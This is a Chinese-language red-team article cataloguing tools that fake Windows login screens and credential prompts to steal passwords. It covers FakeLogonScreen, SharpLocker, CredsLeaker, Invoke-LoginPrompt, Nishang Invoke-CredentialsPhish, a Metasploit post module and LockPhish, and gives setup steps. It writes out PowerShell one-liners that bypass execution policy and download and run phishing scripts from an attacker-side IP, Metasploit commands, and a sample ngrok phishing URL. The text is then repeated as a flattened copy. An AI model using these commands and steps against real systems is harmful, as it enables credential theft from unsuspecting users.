Windows凭证钓鱼方式面面观
字数 1504 2025-08-22 22:47:30

Windows凭证钓鱼技术全面解析

文章前言

在Windows环境中,当执行程序要求用户输入域凭据进行身份验证(如Outlook、权限提升授权或系统锁屏状态)时,攻击者可以模仿这种行为获取用户凭据。这种技术在红队测试中非常有用,特别是在已获得初始立足点但无法通过其他方法获取凭证时。

C#实现方式

FakeLogonScreen

项目地址: https://github.com/bitsadmin/fakelogonscreen

特点:

  • 由arrishuijgen用C#开发
  • 模仿Windows登录屏幕
  • 显示当前配置的背景降低怀疑(Windows 10效果更佳)
  • 对输入的密码进行AD或本地验证
  • 密码会显示在控制台中
  • 凭据存储在本地文件user.db中(路径示例:C:\Users\Administrator\AppData\Local\Microsoft\user.db

Win7测试效果: 效果不如Win10理想

SharpLocker

项目地址: https://github.com/Pickfordmatt/SharpLocker

特点:

  • 由matt pickford开发
  • 显示假登录屏幕
  • 每次击键都会在控制台捕获
  • 密码完全暴露
  • Win10效果稍好

测试效果:

  • 密码错误时会要求重新输入
  • 凭证会在MSF中记录

PowerShell实现方式

CredsLeaker

项目地址: https://github.com/Dviros/CredsLeaker

实施步骤:

  1. 搭建Web服务托管PowerShell脚本
  2. 修改脚本中的URL地址
  3. 上传并执行run.bat文件

特点:

  • 模仿Windows安全提示
  • 要求Web服务器存储必要文件
  • 凭据写入文本文件并通过PowerShell发送HTTP请求
  • 对凭据执行验证,只有正确时弹出窗口才会消失
  • 域、主机名、用户名和密码写入Web目录

Invoke-LoginPrompt

项目地址: https://github.com/enigma0x3/Invoke-LoginPrompt

特点:

  • 由matt nelson开发
  • 生成输入提示并检查凭据有效性
  • 可从远程位置执行
  • 凭据显示在控制台中

执行命令:

powershell.exe -ep Bypass -c IEX((New-Object Net.WebClient).DownloadString('http://192.168.174.129/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt

Nishang框架中的Invoke-CredentialsPhish

特点:

  • 创建假输入提示获取Windows凭据
  • 凭据在控制端被记录
  • 可从远程位置执行逃避检测

执行命令:

powershell.exe -ep Bypass -c IEX((New-Object Net.WebClient).DownloadString('http://192.168.174.129/Invoke-CredentialsPhish/ps1')); Invoke-CredentialsPhish

Metasploit实现方式

模块路径: post/windows/gather/phish_windows_credentials

使用步骤:

  1. 链接到现有会话
  2. 设置目标进程
  3. 执行模块

命令示例:

use post/windows/gather/phish_windows_credentials
set SESSION 6
set PROCESS *
run

特点:

  • 在创建特定进程或任何进程时生成输入提示
  • 作为进程的凭证请求显示给用户
  • 成功获取认证凭证

BASH实现方式 - LockPhish

项目地址: https://github.com/kali-linux-tutorial/lockphish

实施步骤:

  1. 克隆仓库
  2. 运行脚本
  3. 欺骗用户点击链接

特点:

  • 针对Windows登录屏幕的网络钓鱼攻击
  • 使用PHP服务器托管模板
  • 默认使用YouTube作为重定向目标
  • 需要社会工程诱导用户点击
  • 不会自我校验凭证准确性

示例钓鱼页面URL: https://98fa1361288f.ngrok.io

参考链接

  1. Phishing for Credentials: If You Want It, Just Ask
  2. Nishang Invoke-CredentialsPhish
Windows凭证钓鱼技术全面解析 文章前言 在Windows环境中,当执行程序要求用户输入域凭据进行身份验证(如Outlook、权限提升授权或系统锁屏状态)时,攻击者可以模仿这种行为获取用户凭据。这种技术在红队测试中非常有用,特别是在已获得初始立足点但无法通过其他方法获取凭证时。 C#实现方式 FakeLogonScreen 项目地址 : https://github.com/bitsadmin/fakelogonscreen 特点 : 由arrishuijgen用C#开发 模仿Windows登录屏幕 显示当前配置的背景降低怀疑(Windows 10效果更佳) 对输入的密码进行AD或本地验证 密码会显示在控制台中 凭据存储在本地文件 user.db 中(路径示例: C:\Users\Administrator\AppData\Local\Microsoft\user.db ) Win7测试效果 : 效果不如Win10理想 SharpLocker 项目地址 : https://github.com/Pickfordmatt/SharpLocker 特点 : 由matt pickford开发 显示假登录屏幕 每次击键都会在控制台捕获 密码完全暴露 Win10效果稍好 测试效果 : 密码错误时会要求重新输入 凭证会在MSF中记录 PowerShell实现方式 CredsLeaker 项目地址 : https://github.com/Dviros/CredsLeaker 实施步骤 : 搭建Web服务托管PowerShell脚本 修改脚本中的URL地址 上传并执行run.bat文件 特点 : 模仿Windows安全提示 要求Web服务器存储必要文件 凭据写入文本文件并通过PowerShell发送HTTP请求 对凭据执行验证,只有正确时弹出窗口才会消失 域、主机名、用户名和密码写入Web目录 Invoke-LoginPrompt 项目地址 : https://github.com/enigma0x3/Invoke-LoginPrompt 特点 : 由matt nelson开发 生成输入提示并检查凭据有效性 可从远程位置执行 凭据显示在控制台中 执行命令 : Nishang框架中的Invoke-CredentialsPhish 特点 : 创建假输入提示获取Windows凭据 凭据在控制端被记录 可从远程位置执行逃避检测 执行命令 : Metasploit实现方式 模块路径 : post/windows/gather/phish_windows_credentials 使用步骤 : 链接到现有会话 设置目标进程 执行模块 命令示例 : 特点 : 在创建特定进程或任何进程时生成输入提示 作为进程的凭证请求显示给用户 成功获取认证凭证 BASH实现方式 - LockPhish 项目地址 : https://github.com/kali-linux-tutorial/lockphish 实施步骤 : 克隆仓库 运行脚本 欺骗用户点击链接 特点 : 针对Windows登录屏幕的网络钓鱼攻击 使用PHP服务器托管模板 默认使用YouTube作为重定向目标 需要社会工程诱导用户点击 不会自我校验凭证准确性 示例钓鱼页面URL : https://98fa1361288f.ngrok.io 参考链接 Phishing for Credentials: If You Want It, Just Ask Nishang Invoke-CredentialsPhish